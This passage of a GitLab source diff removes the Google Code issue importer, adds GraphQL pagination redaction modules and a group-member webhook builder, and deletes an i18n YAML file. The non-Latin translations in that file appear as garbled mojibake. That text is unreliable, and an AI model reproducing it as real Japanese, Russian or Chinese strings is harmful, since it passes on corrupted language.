- # Replace ... by \.\.\., so `johnsm...@gmail.com` isn't autolinked.
- Client.mask_email(user).sub("...", "\\.\\.\\.")
- end
-
- import_data = project.import_data.try(:data)
- stored_user_map = import_data["user_map"] if import_data
- user_map.update(stored_user_map) if stored_user_map
-
- user_map
- end
- end
-
- def import_status_labels
- repo.raw_data["issuesConfig"]["statuses"].each do |status|
- closed = !status["meansOpen"]
- @closed_statuses << status["status"] if closed
-
- name = nice_status_name(status["status"])
- create_label(name)
- @known_labels << name
- end
- end
-
- def import_labels
- repo.raw_data["issuesConfig"]["labels"].each do |label|
- name = nice_label_name(label["label"])
- create_label(name)
- @known_labels << name
- end
- end
-
- # rubocop: disable CodeReuse/ActiveRecord
- def import_issues
- return unless repo.issues
-
- while raw_issue = repo.issues.shift
- author = user_map[raw_issue["author"]["name"]]
- date = DateTime.parse(raw_issue["published"]).to_formatted_s(:long)
-
- comments = raw_issue["comments"]["items"]
- issue_comment = comments.shift
-
- content = format_content(issue_comment["content"])
- attachments = format_attachments(raw_issue["id"], 0, issue_comment["attachments"])
-
- body = format_issue_body(author, date, content, attachments)
- labels = import_issue_labels(raw_issue)
-
- assignee_id = nil
- if raw_issue.key?("owner")
- username = user_map[raw_issue["owner"]["name"]]
-
- if username.start_with?("@")
- username = username[1..-1]
-
- if user = UserFinder.new(username).find_by_username
- assignee_id = user.id
- end
- end
- end
-
- issue = Issue.create!(
- iid: raw_issue['id'],
- project_id: project.id,
- title: raw_issue['title'],
- description: body,
- author_id: project.creator_id,
- assignee_ids: [assignee_id],
- state_id: raw_issue['state'] == 'closed' ? Issue.available_states[:closed] : Issue.available_states[:opened]
- )
-
- issue_labels = ::LabelsFinder.new(nil, project_id: project.id, title: labels).execute(skip_authorization: true)
- issue.update_attribute(:label_ids, issue_labels.pluck(:id))
-
- import_issue_comments(issue, comments)
- end
- end
- # rubocop: enable CodeReuse/ActiveRecord
-
- def import_issue_labels(raw_issue)
- labels = []
-
- raw_issue["labels"].each do |label|
- name = nice_label_name(label)
- labels << name
-
- unless @known_labels.include?(name)
- create_label(name)
- @known_labels << name
- end
- end
-
- labels << nice_status_name(raw_issue["status"])
- labels
- end
-
- def import_issue_comments(issue, comments)
- Note.transaction do
- while raw_comment = comments.shift
- next if raw_comment.key?("deletedBy")
-
- content = format_content(raw_comment["content"])
- updates = format_updates(raw_comment["updates"])
- attachments = format_attachments(issue.iid, raw_comment["id"], raw_comment["attachments"])
-
- next if content.blank? && updates.blank? && attachments.blank?
-
- author = user_map[raw_comment["author"]["name"]]
- date = DateTime.parse(raw_comment["published"]).to_formatted_s(:long)
-
- body = format_issue_comment_body(
- raw_comment["id"],
- author,
- date,
- content,
- updates,
- attachments
- )
-
- # Needs to match order of `comment_columns` below.
- Note.create!(
- project_id: project.id,
- noteable_type: "Issue",
- noteable_id: issue.id,
- author_id: project.creator_id,
- note: body
- )
- end
- end
- end
-
- def nice_label_color(name)
- NICE_LABEL_COLOR_HASH[name] ||
- case name
- when /\AComponent:/
- '#fff39e'
- when /\AOpSys:/
- '#e2e2e2'
- when /\AMilestone:/
- '#fee3ff'
- when *closed_statuses.map { |s| nice_status_name(s) }
- '#cfcfcf'
- else
- '#e2e2e2'
- end
- end
-
- def nice_label_name(name)
- name.sub("-", ": ")
- end
-
- def nice_status_name(name)
- "Status: #{name}"
- end
-
- def linkify_issues(str)
- str = str.gsub(/([Ii]ssue) ([0-9]+)/, '\1 #\2')
- str = str.gsub(/([Cc]omment) #([0-9]+)/, '\1 \2')
- str
- end
-
- def escape_for_markdown(str)
- # No headings and lists
- str = str.gsub(/^#/, "\\#")
- str = str.gsub(/^-/, "\\-")
-
- # No inline code
- str = str.gsub("`", "\\`")
-
- # Carriage returns make me sad
- str = str.delete("\r")
-
- # Markdown ignores single newlines, but we need them as <br />.
- str = str.gsub("\n", " \n")
-
- str
- end
-
- def create_label(name)
- params = { name: name, color: nice_label_color(name) }
- ::Labels::FindOrCreateService.new(nil, project, params).execute(skip_authorization: true)
- end
-
- def format_content(raw_content)
- linkify_issues(escape_for_markdown(raw_content))
- end
-
- def format_updates(raw_updates)
- updates = []
-
- if raw_updates.key?("status")
- updates << "*Status: #{raw_updates["status"]}*"
- end
-
- if raw_updates.key?("owner")
- updates << "*Owner: #{user_map[raw_updates["owner"]]}*"
- end
-
- if raw_updates.key?("cc")
- cc = raw_updates["cc"].map do |l|
- deleted = l.start_with?("-")
- l = l[1..-1] if deleted
- l = user_map[l]
- l = "~~#{l}~~" if deleted
- l
- end
-
- updates << "*Cc: #{cc.join(", ")}*"
- end
-
- if raw_updates.key?("labels")
- labels = raw_updates["labels"].map do |l|
- deleted = l.start_with?("-")
- l = l[1..-1] if deleted
- l = nice_label_name(l)
- l = "~~#{l}~~" if deleted
- l
- end
-
- updates << "*Labels: #{labels.join(", ")}*"
- end
-
- if raw_updates.key?("mergedInto")
- updates << "*Merged into: ##{raw_updates["mergedInto"]}*"
- end
-
- if raw_updates.key?("blockedOn")
- blocked_ons = raw_updates["blockedOn"].map do |raw_blocked_on|
- format_blocking_updates(raw_blocked_on)
- end
-
- updates << "*Blocked on: #{blocked_ons.join(", ")}*"
- end
-
- if raw_updates.key?("blocking")
- blockings = raw_updates["blocking"].map do |raw_blocked_on|
- format_blocking_updates(raw_blocked_on)
- end
-
- updates << "*Blocking: #{blockings.join(", ")}*"
- end
-
- updates
- end
-
- def format_blocking_updates(raw_blocked_on)
- name, id = raw_blocked_on.split(":", 2)
-
- deleted = name.start_with?("-")
- name = name[1..-1] if deleted
-
- text =
- if name == project.import_source
- "##{id}"
- else
- "#{project.namespace.full_path}/#{name}##{id}"
- end
-
- text = "~~#{text}~~" if deleted
- text
- end
-
- def format_attachments(issue_id, comment_id, raw_attachments)
- return [] unless raw_attachments
-
- raw_attachments.map do |attachment|
- next if attachment["isDeleted"]
-
- filename = attachment["fileName"]
- link = "https://storage.googleapis.com/google-code-attachments/#{@repo.name}/issue-#{issue_id}/comment-#{comment_id}/#{filename}"
-
- text = "[#{filename}](#{link})"
- text = "!#{text}" if filename =~ /\.(png|jpg|jpeg|gif|bmp|tiff)\z/i
- text
- end.compact
- end
-
- def format_issue_comment_body(id, author, date, content, updates, attachments)
- body = []
- body << "*Comment #{id} by #{author} on #{date}*"
- body << "---"
-
- if content.blank?
- content = "*(No comment has been entered for this change)*"
- end
-
- body << content
-
- if updates.any?
- body << "---"
- body += updates
- end
-
- if attachments.any?
- body << "---"
- body += attachments
- end
-
- body.join("\n\n")
- end
-
- def format_issue_body(author, date, content, attachments)
- body = []
- body << "*By #{author} on #{date} (imported from Google Code)*"
- body << "---"
-
- if content.blank?
- content = "*(No description has been entered for this issue)*"
- end
-
- body << content
-
- if attachments.any?
- body << "---"
- body += attachments
- end
-
- body.join("\n\n")
- end
- end
- end
-end
diff --git a/lib/gitlab/google_code_import/project_creator.rb b/lib/gitlab/google_code_import/project_creator.rb
deleted file mode 100644
index eaef85acb98..00000000000
--- a/lib/gitlab/google_code_import/project_creator.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module GoogleCodeImport
- class ProjectCreator
- attr_reader :repo, :namespace, :current_user, :user_map
-
- def initialize(repo, namespace, current_user, user_map = nil)
- @repo = repo
- @namespace = namespace
- @current_user = current_user
- @user_map = user_map
- end
-
- def execute
- ::Projects::CreateService.new(
- current_user,
- name: repo.name,
- path: repo.name,
- description: repo.summary,
- namespace: namespace,
- creator: current_user,
- visibility_level: Gitlab::VisibilityLevel::PUBLIC,
- import_type: "google_code",
- import_source: repo.name,
- import_url: repo.import_url,
- import_data: { data: { 'repo' => repo.raw_data, 'user_map' => user_map } }
- ).execute
- end
- end
- end
-end
diff --git a/lib/gitlab/google_code_import/repository.rb b/lib/gitlab/google_code_import/repository.rb
deleted file mode 100644
index 19627c8cd35..00000000000
--- a/lib/gitlab/google_code_import/repository.rb
+++ /dev/null
@@ -1,45 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module GoogleCodeImport
- class Repository
- attr_accessor :raw_data
-
- def initialize(raw_data)
- @raw_data = raw_data
- end
-
- def valid?
- raw_data.is_a?(Hash) && raw_data["kind"] == "projecthosting#project"
- end
-
- def id
- raw_data["externalId"]
- end
-
- def name
- raw_data["name"]
- end
-
- def summary
- raw_data["summary"]
- end
-
- def description
- raw_data["description"]
- end
-
- def git?
- raw_data["versionControlSystem"] == "git"
- end
-
- def import_url
- raw_data["repositoryUrls"].first
- end
-
- def issues
- raw_data["issues"] && raw_data["issues"]["items"]
- end
- end
- end
-end
diff --git a/lib/gitlab/gpg.rb b/lib/gitlab/gpg.rb
index 8166bef4510..b1494cf8cf2 100644
--- a/lib/gitlab/gpg.rb
+++ b/lib/gitlab/gpg.rb
@@ -142,13 +142,11 @@ module Gitlab
end
def tmp_keychains_created
- @tmp_keychains_created ||= Gitlab::Metrics.counter(:gpg_tmp_keychains_created_total,
- 'The number of temporary GPG keychains created')
+ Gitlab::Metrics.counter(:gpg_tmp_keychains_created_total, 'The number of temporary GPG keychains created')
end
def tmp_keychains_removed
- @tmp_keychains_removed ||= Gitlab::Metrics.counter(:gpg_tmp_keychains_removed_total,
- 'The number of temporary GPG keychains removed')
+ Gitlab::Metrics.counter(:gpg_tmp_keychains_removed_total, 'The number of temporary GPG keychains removed')
end
end
end
diff --git a/lib/gitlab/graphql/authorize/authorize_resource.rb b/lib/gitlab/graphql/authorize/authorize_resource.rb
index c70127553fd..6ee446011d4 100644
--- a/lib/gitlab/graphql/authorize/authorize_resource.rb
+++ b/lib/gitlab/graphql/authorize/authorize_resource.rb
@@ -62,8 +62,8 @@ module Gitlab
end
end
- def raise_resource_not_available_error!
- raise Gitlab::Graphql::Errors::ResourceNotAvailable, RESOURCE_ACCESS_ERROR
+ def raise_resource_not_available_error!(msg = RESOURCE_ACCESS_ERROR)
+ raise Gitlab::Graphql::Errors::ResourceNotAvailable, msg
end
end
end
diff --git a/lib/gitlab/graphql/connection_collection_methods.rb b/lib/gitlab/graphql/connection_collection_methods.rb
new file mode 100644
index 00000000000..0e2c4a98bb6
--- /dev/null
+++ b/lib/gitlab/graphql/connection_collection_methods.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Graphql
+ module ConnectionCollectionMethods
+ extend ActiveSupport::Concern
+
+ included do
+ delegate :to_a, :size, :include?, :empty?, to: :nodes
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/graphql/connection_redaction.rb b/lib/gitlab/graphql/connection_redaction.rb
new file mode 100644
index 00000000000..5e037bb9f63
--- /dev/null
+++ b/lib/gitlab/graphql/connection_redaction.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Graphql
+ module ConnectionRedaction
+ class RedactionState
+ attr_reader :redactor
+ attr_reader :redacted_nodes
+
+ def redactor=(redactor)
+ @redactor = redactor
+ @redacted_nodes = nil
+ end
+
+ def redacted(&block)
+ @redacted_nodes ||= redactor.present? ? redactor.redact(yield) : yield
+ end
+ end
+
+ delegate :redactor=, to: :redaction_state
+
+ def nodes
+ redaction_state.redacted { super.to_a }
+ end
+
+ private
+
+ def redaction_state
+ @redaction_state ||= RedactionState.new
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/graphql/deferred.rb b/lib/gitlab/graphql/deferred.rb
new file mode 100644
index 00000000000..d0b36aabd5f
--- /dev/null
+++ b/lib/gitlab/graphql/deferred.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+# A marker interface that allows use to lazily resolve a wider range of value
+module Gitlab
+ module Graphql
+ module Deferred
+ def execute
+ raise NotImplementedError, 'Deferred classes must provide an execute method'
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/graphql/docs/helper.rb b/lib/gitlab/graphql/docs/helper.rb
index 503b1064b11..ad9e08e189c 100644
--- a/lib/gitlab/graphql/docs/helper.rb
+++ b/lib/gitlab/graphql/docs/helper.rb
@@ -13,6 +13,12 @@ module Gitlab
def auto_generated_comment
<<-MD.strip_heredoc
+ ---
+ stage: Plan
+ group: Project Management
+ info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+ ---
+
<!---
This documentation is auto generated by a script.
diff --git a/lib/gitlab/graphql/docs/templates/default.md.haml b/lib/gitlab/graphql/docs/templates/default.md.haml
index 97df4233905..8f5a1788fa5 100644
--- a/lib/gitlab/graphql/docs/templates/default.md.haml
+++ b/lib/gitlab/graphql/docs/templates/default.md.haml
@@ -12,7 +12,7 @@
Each table below documents a GraphQL type. Types match loosely to models, but not all
fields and methods on a model are available via GraphQL.
- CAUTION: **Caution:**
+ WARNING:
Fields that are deprecated are marked with **{warning-solid}**.
Items (fields, enums, etc) that have been removed according to our [deprecation process](../index.md#deprecation-process) can be found
in [Removed Items](../removed_items.md).
@@ -21,7 +21,7 @@
:plain
## Object types
- Object types represent the resources that GitLab's GraphQL API can return.
+ Object types represent the resources that the GitLab GraphQL API can return.
They contain _fields_. Each field has its own type, which will either be one of the
basic GraphQL [scalar types](https://graphql.org/learn/schema/#scalar-types)
(e.g.: `String` or `Boolean`) or other object types.
diff --git a/lib/gitlab/graphql/expose_permissions.rb b/lib/gitlab/graphql/expose_permissions.rb
index 365b7cca24f..ab9ed354673 100644
--- a/lib/gitlab/graphql/expose_permissions.rb
+++ b/lib/gitlab/graphql/expose_permissions.rb
@@ -9,7 +9,7 @@ module Gitlab
field :user_permissions, permission_type,
description: description,
null: false,
- resolve: -> (obj, _, _) { obj }
+ method: :itself
end
end
end
diff --git a/lib/gitlab/graphql/externally_paginated_array.rb b/lib/gitlab/graphql/externally_paginated_array.rb
index 4797fe15cd3..873d7f4efdf 100644
--- a/lib/gitlab/graphql/externally_paginated_array.rb
+++ b/lib/gitlab/graphql/externally_paginated_array.rb
@@ -3,12 +3,12 @@
module Gitlab
module Graphql
class ExternallyPaginatedArray < Array
- attr_reader :previous_cursor, :next_cursor
+ attr_reader :start_cursor, :end_cursor
def initialize(previous_cursor, next_cursor, *args)
super(args)
- @previous_cursor = previous_cursor
- @next_cursor = next_cursor
+ @start_cursor = previous_cursor
+ @end_cursor = next_cursor
end
end
end
diff --git a/lib/gitlab/graphql/laziness.rb b/lib/gitlab/graphql/laziness.rb
new file mode 100644
index 00000000000..749d832919d
--- /dev/null
+++ b/lib/gitlab/graphql/laziness.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Graphql
+ # This module allows your class to easily defer and force values.
+ # Its methods are just sugar for calls to the Gitlab::Graphql::Lazy class.
+ #
+ # example:
+ #
+ # class MyAwesomeClass
+ # include ::Gitlab::Graphql::Laziness
+ #
+ # # takes a list of id and list of factors, and computes
+ # # sum of [SomeObject[i]#value * factor[i]]
+ # def resolve(ids:, factors:)
+ # ids.zip(factors)
+ # .map { |id, factor| promise_an_int(id, factor) }
+ # .map(&method(:force))
+ # .sum
+ # end
+ #
+ # # returns a promise for an Integer
+ # def (id, factor)
+ # thunk = SomeObject.lazy_find(id)
+ # defer { force(thunk).value * factor }
+ # end
+ # end
+ #
+ # In the example above, we use defer to delay forcing the batch-loaded
+ # item until we need it, and then we use `force` to consume the lazy values
+ #
+ # If `SomeObject.lazy_find(id)` batches correctly, calling
+ # `resolve` will only perform one batched load for all objects, rather than
+ # loading them individually before combining the results.
+ #
+ module Laziness
+ def defer(&block)
+ ::Gitlab::Graphql::Lazy.new(&block)
+ end
+
+ def force(lazy)
+ ::Gitlab::Graphql::Lazy.force(lazy)
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/graphql/lazy.rb b/lib/gitlab/graphql/lazy.rb
index 3cc11047387..54013cf4790 100644
--- a/lib/gitlab/graphql/lazy.rb
+++ b/lib/gitlab/graphql/lazy.rb
@@ -24,6 +24,8 @@ module Gitlab
value.force
when ::BatchLoader::GraphQL
value.sync
+ when ::Gitlab::Graphql::Deferred
+ value.execute
when ::GraphQL::Execution::Lazy
value.value # part of the private api, but we can force this as well
when ::Concurrent::Promise
diff --git a/lib/gitlab/graphql/pagination/array_connection.rb b/lib/gitlab/graphql/pagination/array_connection.rb
new file mode 100644
index 00000000000..efc912eaeca
--- /dev/null
+++ b/lib/gitlab/graphql/pagination/array_connection.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+# We use the Keyset / Stable cursor connection by default for ActiveRecord::Relation.
+# However, there are times when that may not be powerful enough (yet), and we
+# want to use standard offset pagination.
+module Gitlab
+ module Graphql
+ module Pagination
+ class ArrayConnection < ::GraphQL::Pagination::ArrayConnection
+ prepend ::Gitlab::Graphql::ConnectionRedaction
+ include ::Gitlab::Graphql::ConnectionCollectionMethods
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/graphql/pagination/connections.rb b/lib/gitlab/graphql/pagination/connections.rb
index 8f37fa3f474..54a84be4274 100644
--- a/lib/gitlab/graphql/pagination/connections.rb
+++ b/lib/gitlab/graphql/pagination/connections.rb
@@ -12,6 +12,10 @@ module Gitlab
schema.connections.add(
Gitlab::Graphql::ExternallyPaginatedArray,
Gitlab::Graphql::Pagination::ExternallyPaginatedArrayConnection)
+
+ schema.connections.add(
+ Array,
+ Gitlab::Graphql::Pagination::ArrayConnection)
end
end
end
diff --git a/lib/gitlab/graphql/pagination/externally_paginated_array_connection.rb b/lib/gitlab/graphql/pagination/externally_paginated_array_connection.rb
index 12e047420bf..ce309df65d9 100644
--- a/lib/gitlab/graphql/pagination/externally_paginated_array_connection.rb
+++ b/lib/gitlab/graphql/pagination/externally_paginated_array_connection.rb
@@ -5,13 +5,10 @@ module Gitlab
module Graphql
module Pagination
class ExternallyPaginatedArrayConnection < GraphQL::Pagination::ArrayConnection
- def start_cursor
- items.previous_cursor
- end
+ include ::Gitlab::Graphql::ConnectionCollectionMethods
+ prepend ::Gitlab::Graphql::ConnectionRedaction
- def end_cursor
- items.next_cursor
- end
+ delegate :start_cursor, :end_cursor, to: :items
def next_page?
end_cursor.present?
diff --git a/lib/gitlab/graphql/pagination/keyset/connection.rb b/lib/gitlab/graphql/pagination/keyset/connection.rb
index 252f6371765..2ad8d2f7ab7 100644
--- a/lib/gitlab/graphql/pagination/keyset/connection.rb
+++ b/lib/gitlab/graphql/pagination/keyset/connection.rb
@@ -31,6 +31,8 @@ module Gitlab
module Keyset
class Connection < GraphQL::Pagination::ActiveRecordRelationConnection
include Gitlab::Utils::StrongMemoize
+ include ::Gitlab::Graphql::ConnectionCollectionMethods
+ prepend ::Gitlab::Graphql::ConnectionRedaction
# rubocop: disable Naming/PredicateName
# https://relay.dev/graphql/connections.htm#sec-undefined.PageInfo.Fields
diff --git a/lib/gitlab/graphql/pagination/keyset/order_info.rb b/lib/gitlab/graphql/pagination/keyset/order_info.rb
index f3ce3a10703..d37264c1343 100644
--- a/lib/gitlab/graphql/pagination/keyset/order_info.rb
+++ b/lib/gitlab/graphql/pagination/keyset/order_info.rb
@@ -127,3 +127,5 @@ module Gitlab
end
end
end
+
+Gitlab::Graphql::Pagination::Keyset::OrderInfo.prepend_if_ee('EE::Gitlab::Graphql::Pagination::Keyset::OrderInfo')
diff --git a/lib/gitlab/graphql/pagination/offset_active_record_relation_connection.rb b/lib/gitlab/graphql/pagination/offset_active_record_relation_connection.rb
index 33f84701562..4a57b7aceca 100644
--- a/lib/gitlab/graphql/pagination/offset_active_record_relation_connection.rb
+++ b/lib/gitlab/graphql/pagination/offset_active_record_relation_connection.rb
@@ -7,6 +7,8 @@ module Gitlab
module Graphql
module Pagination
class OffsetActiveRecordRelationConnection < GraphQL::Pagination::ActiveRecordRelationConnection
+ prepend ::Gitlab::Graphql::ConnectionRedaction
+ include ::Gitlab::Graphql::ConnectionCollectionMethods
end
end
end
diff --git a/lib/gitlab/hook_data/base_builder.rb b/lib/gitlab/hook_data/base_builder.rb
index d54175bce81..434d30d9717 100644
--- a/lib/gitlab/hook_data/base_builder.rb
+++ b/lib/gitlab/hook_data/base_builder.rb
@@ -21,6 +21,13 @@ module Gitlab
private
+ def timestamps_data
+ {
+ created_at: object.created_at&.xmlschema,
+ updated_at: object.updated_at&.xmlschema
+ }
+ end
+
def absolute_image_urls(markdown_text)
return markdown_text unless markdown_text.present?
diff --git a/lib/gitlab/hook_data/group_member_builder.rb b/lib/gitlab/hook_data/group_member_builder.rb
new file mode 100644
index 00000000000..32cfd032ffe
--- /dev/null
+++ b/lib/gitlab/hook_data/group_member_builder.rb
@@ -0,0 +1,65 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module HookData
+ class GroupMemberBuilder < BaseBuilder
+ alias_method :group_member, :object
+
+ # Sample data
+
+ # {
+ # :event_name=>"user_add_to_group",
+ # :group_name=>"GitLab group",
+ # :group_path=>"gitlab",
+ # :group_id=>1,
+ # :user_username=>"robert",
+ # :user_name=>"Robert Mills",
+ # :user_email=>"robert@example.com",
+ # :user_id=>14,
+ # :group_access=>"Guest",
+ # :created_at=>"2020-11-04T10:12:10Z",
+ # :updated_at=>"2020-11-04T10:12:10Z",
+ # :expires_at=>"2020-12-04T10:12:10Z"
+ # }
+
+ def build(event)
+ [
+ timestamps_data,
+ group_member_data,
+ event_data(event)
+ ].reduce(:merge)
+ end
+
+ private
+
+ def group_member_data
+ {
+ group_name: group_member.group.name,
+ group_path: group_member.group.path,
+ group_id: group_member.group.id,
+ user_username: group_member.user.username,
+ user_name: group_member.user.name,
+ user_email: group_member.user.email,
+ user_id: group_member.user.id,
+ group_access: group_member.human_access,
+ expires_at: group_member.expires_at&.xmlschema
+ }
+ end
+
+ def event_data(event)
+ event_name = case event
+ when :create
+ 'user_add_to_group'
+ when :destroy
+ 'user_remove_from_group'
+ when :update
+ 'user_update_for_group'
+ end
+
+ { event_name: event_name }
+ end
+ end
+ end
+end
+
+Gitlab::HookData::GroupMemberBuilder.prepend_if_ee('EE::Gitlab::HookData::GroupMemberBuilder')
diff --git a/lib/gitlab/i18n/html_todo.yml b/lib/gitlab/i18n/html_todo.yml
deleted file mode 100644
index 91e01f8a0b8..00000000000
--- a/lib/gitlab/i18n/html_todo.yml
+++ /dev/null
@@ -1,314 +0,0 @@
-#
-# PLEASE DO NOT ADD NEW STRINGS TO THIS FILE.
-#
-# See https://docs.gitlab.com/ee/development/i18n/externalization.html#html
-# for information on how to handle HTML in translations.
-
-#
-# This file contains strings that need to be fixed to use the
-# updated HTML guidelines. Any strings in this file will no
-# longer be able to be translated until they have been updated.
-#
-# This file (and the functionality around it) will be removed
-# once https://gitlab.com/gitlab-org/gitlab/-/issues/217933 is complete.
-#
-# See https://gitlab.com/gitlab-org/gitlab/-/issues/19485 for more details
-# why this change has been made.
-#
-
-#
-# Strings below are fixed in the source code but the translations are still present in CrowdIn so the
-# locale files will fail the linter. They can be deleted after next CrowdIn sync, likely in:
-# https://gitlab.com/gitlab-org/gitlab/-/issues/226008
-#
-
-"This commit was signed with an <strong>unverified</strong> signature.":
- plural_id:
- translations:
- - "ã“ã®ã‚³ãƒŸãƒƒãƒˆã¯<strong>検証ã•ã‚Œã¦ã„ãªã„</strong> ç½²åã§ã‚µã‚¤ãƒ³ã•ã‚Œã¦ã„ã¾ã™ã€‚"
- - "Этот коммит был подпиÑан <strong>непроверенной</strong> подпиÑью."
- - "æ­¤æ交使用 <strong>未ç»éªŒè¯çš„</strong> ç­¾å进行签å。"
- - "Цей коміт підпиÑано <strong>неперевіреним</strong> підпиÑом."
- - "Esta commit fue firmado con una firma <strong>no verificada</strong>."
-"This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user.":
- plural_id:
- translations:
- - "ã“ã®ã‚³ãƒŸãƒƒãƒˆã¯ <strong>検証済ã¿</strong> ã®ç½²åã§ã‚µã‚¤ãƒ³ã•ã‚Œã¦ãŠã‚Šã€ã“ã®ã‚³ãƒŸãƒƒã‚¿ãƒ¼ã®ãƒ¡ãƒ¼ãƒ«ã¯åŒã˜ãƒ¦ãƒ¼ã‚¶ãƒ¼ã®ã‚‚ã®ã§ã‚ã‚‹ã“ã¨ãŒæ¤œè¨¼ã•ã‚Œã¦ã„ã¾ã™ã€‚"
- - "Это коммит был подпиÑан <strong>верифицированной</strong> подпиÑью и коммитер подтвердил, что Ð°Ð´Ñ€ÐµÑ Ð¿Ð¾Ñ‡Ñ‚Ñ‹ принадлежит ему."
- - "æ­¤æ交使用 <strong>已验è¯</strong> çš„ç­¾å进行签å,并且已验è¯æ交者的电å­é‚®ä»¶å±žäºŽåŒä¸€ç”¨æˆ·ã€‚"
- - "Цей коміт підпиÑано <strong>перевіреним</strong> підпиÑом Ñ– адреÑа електронної пошти комітера гарантовано належить тому Ñамому кориÑтувачу."
- - "Este commit fue firmado con una firma verificada, y <strong>se ha verificado</strong> que la dirección de correo electrónico del committer y la firma pertenecen al mismo usuario."
-"Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}":
- plural_id:
- translations:
- - "分支 <strong>%{branch_name}</strong> 已創建。如需設置自動部署, è«‹é¸æ“‡åˆé©çš„ GitLab CI Yaml 模æ¿ä½µæ交更改。%{link_to_autodeploy_doc}"
- - "O branch <strong>%{branch_name}</strong> foi criado. Para configurar o deploy automático, selecione um modelo de Yaml do GitLab CI e commit suas mudanças. %{link_to_autodeploy_doc}"
- - "<strong>%{branch_name}</strong> ブランãƒãŒä½œæˆã•ã‚Œã¾ã—ãŸã€‚自動デプロイを設定ã™ã‚‹ã«ã¯ã€GitLab CI Yaml テンプレートをé¸æŠžã—ã¦ã€å¤‰æ›´ã‚’コミットã—ã¦ãã ã•ã„。 %{link_to_autodeploy_doc}"
- - "La branch <strong>%{branch_name}</strong> è stata creata. Per impostare un rilascio automatico scegli un template CI di Gitlab e committa le tue modifiche %{link_to_autodeploy_doc}"
- - "O ramo <strong>%{branch_name}</strong> foi criado. Para configurar a implantação automática, seleciona um modelo de Yaml do GitLab CI e envia as tuas alterações. %{link_to_autodeploy_doc}"
- - "Ветка <strong>%{branch_name}</strong> Ñоздана. Ð”Ð»Ñ Ð½Ð°Ñтройки автоматичеÑкого Ñ€Ð°Ð·Ð²ÐµÑ€Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ Ð²Ñ‹Ð±ÐµÑ€Ð¸Ñ‚Ðµ YAML-шаблон Ð´Ð»Ñ GitLab CI и зафикÑируйте Ñвои изменениÑ. %{link_to_autodeploy_doc}"
- - "已创建分支 <strong>%{branch_name}</strong> 。如需设置自动部署, 请选择åˆé€‚çš„ GitLab CI Yaml 模æ¿å¹¶æ交更改。%{link_to_autodeploy_doc}"
- - "Гілка <strong>%{branch_name}</strong> Ñтворена. Ð”Ð»Ñ Ð½Ð°Ñтройки автоматичного Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ Ð²Ð¸Ð±ÐµÑ€Ñ–Ñ‚ÑŒ GitLab CI Yaml-шаблон Ñ– закомітьте зміни. %{link_to_autodeploy_doc}"
- - "Клонът <strong>%{branch_name}</strong> беше Ñъздаден. За да наÑтроите автоматичното внедрÑване, изберете Yaml шаблон за GitLab CI и подайте промените Ñи. %{link_to_autodeploy_doc}"
- - "Branch <strong>%{branch_name}</strong> wurde erstellt. Um die automatische Bereitstellung einzurichten, wähle eine GitLab CI Yaml Vorlage und committe deine Änderungen. %{link_to_autodeploy_doc}"
- - "<strong>%{branch_name}</strong> 브랜치가 ìƒì„±ë˜ì—ˆìŠµë‹ˆë‹¤. ìžë™ ë°°í¬ë¥¼ 설정하려면 GitLab CI Yaml í…œí”Œë¦¿ì„ ì„ íƒí•˜ê³  변경 ì‚¬í•­ì„ ì ìš©í•˜ì‹­ì‹œì˜¤. %{link_to_autodeploy_doc}"
- - "La branĉo <strong>%{branch_name}</strong> estis kreita. Por agordi aÅ­tomatan disponigadon, bonvolu elekti Yaml-Åablonon por GitLab CI kaj enmeti viajn ÅanÄojn. %{link_to_autodeploy_doc}"
- - "La branche <strong>%{branch_name}</strong> a été créée. Pour mettre en place le déploiement automatisé, sélectionnez un modèle de fichier YAML pour l’intégration continue (CI) de GitLab, et validez les modifications. %{link_to_autodeploy_doc}"
- - "La rama <strong>%{branch_name}</strong> fue creada. Para configurar el auto despliegue, escoge una plantilla Yaml para GitLab CI y envía tus cambios. %{link_to_autodeploy_doc}"
-"GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page.":
- plural_id:
- translations:
- - "GitLab Pagesã¯ã“ã®ãƒ—ロジェクトã§ã¯ç„¡åŠ¹ã«ãªã£ã¦ã„ã¾ã™ã€‚ プロジェクトã®%{strong_start} 設定> 全般> å¯è¦–性%{strong_end}ページã§æœ‰åŠ¹ã«ã§ãã¾ã™ã€‚"
- - "GitLab Pages отключены Ð´Ð»Ñ Ñтого проекта. Ð’Ñ‹ можете включить в поле %{strong_start}ÐаÑтройки > Общие > ВидимоÑÑ‚ÑŒ%{strong_end} вашего проекта."
- - "此项目ç¦ç”¨GitLab Pages。您å¯ä»¥åœ¨æ‚¨çš„项目的%{strong_start}设置 > 常规 > å¯è§æ€§%{strong_end} 页é¢å¯ç”¨ã€‚"
- - "GitLab Pages вимкнено Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ проєкту. Ви можете Ñ—Ñ… увімкнути перейшовши на Ñторінку проєкту %{strong_start}ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ > Загальні > ВидиміÑÑ‚ÑŒ%{strong_end}."
- - "Las páginas de GitLab están deshabilitadas para este proyecto. Puede habilitarlas en los ajustes %{strong_start} de su proyecto > General > Visibilidad%{strong_end}."
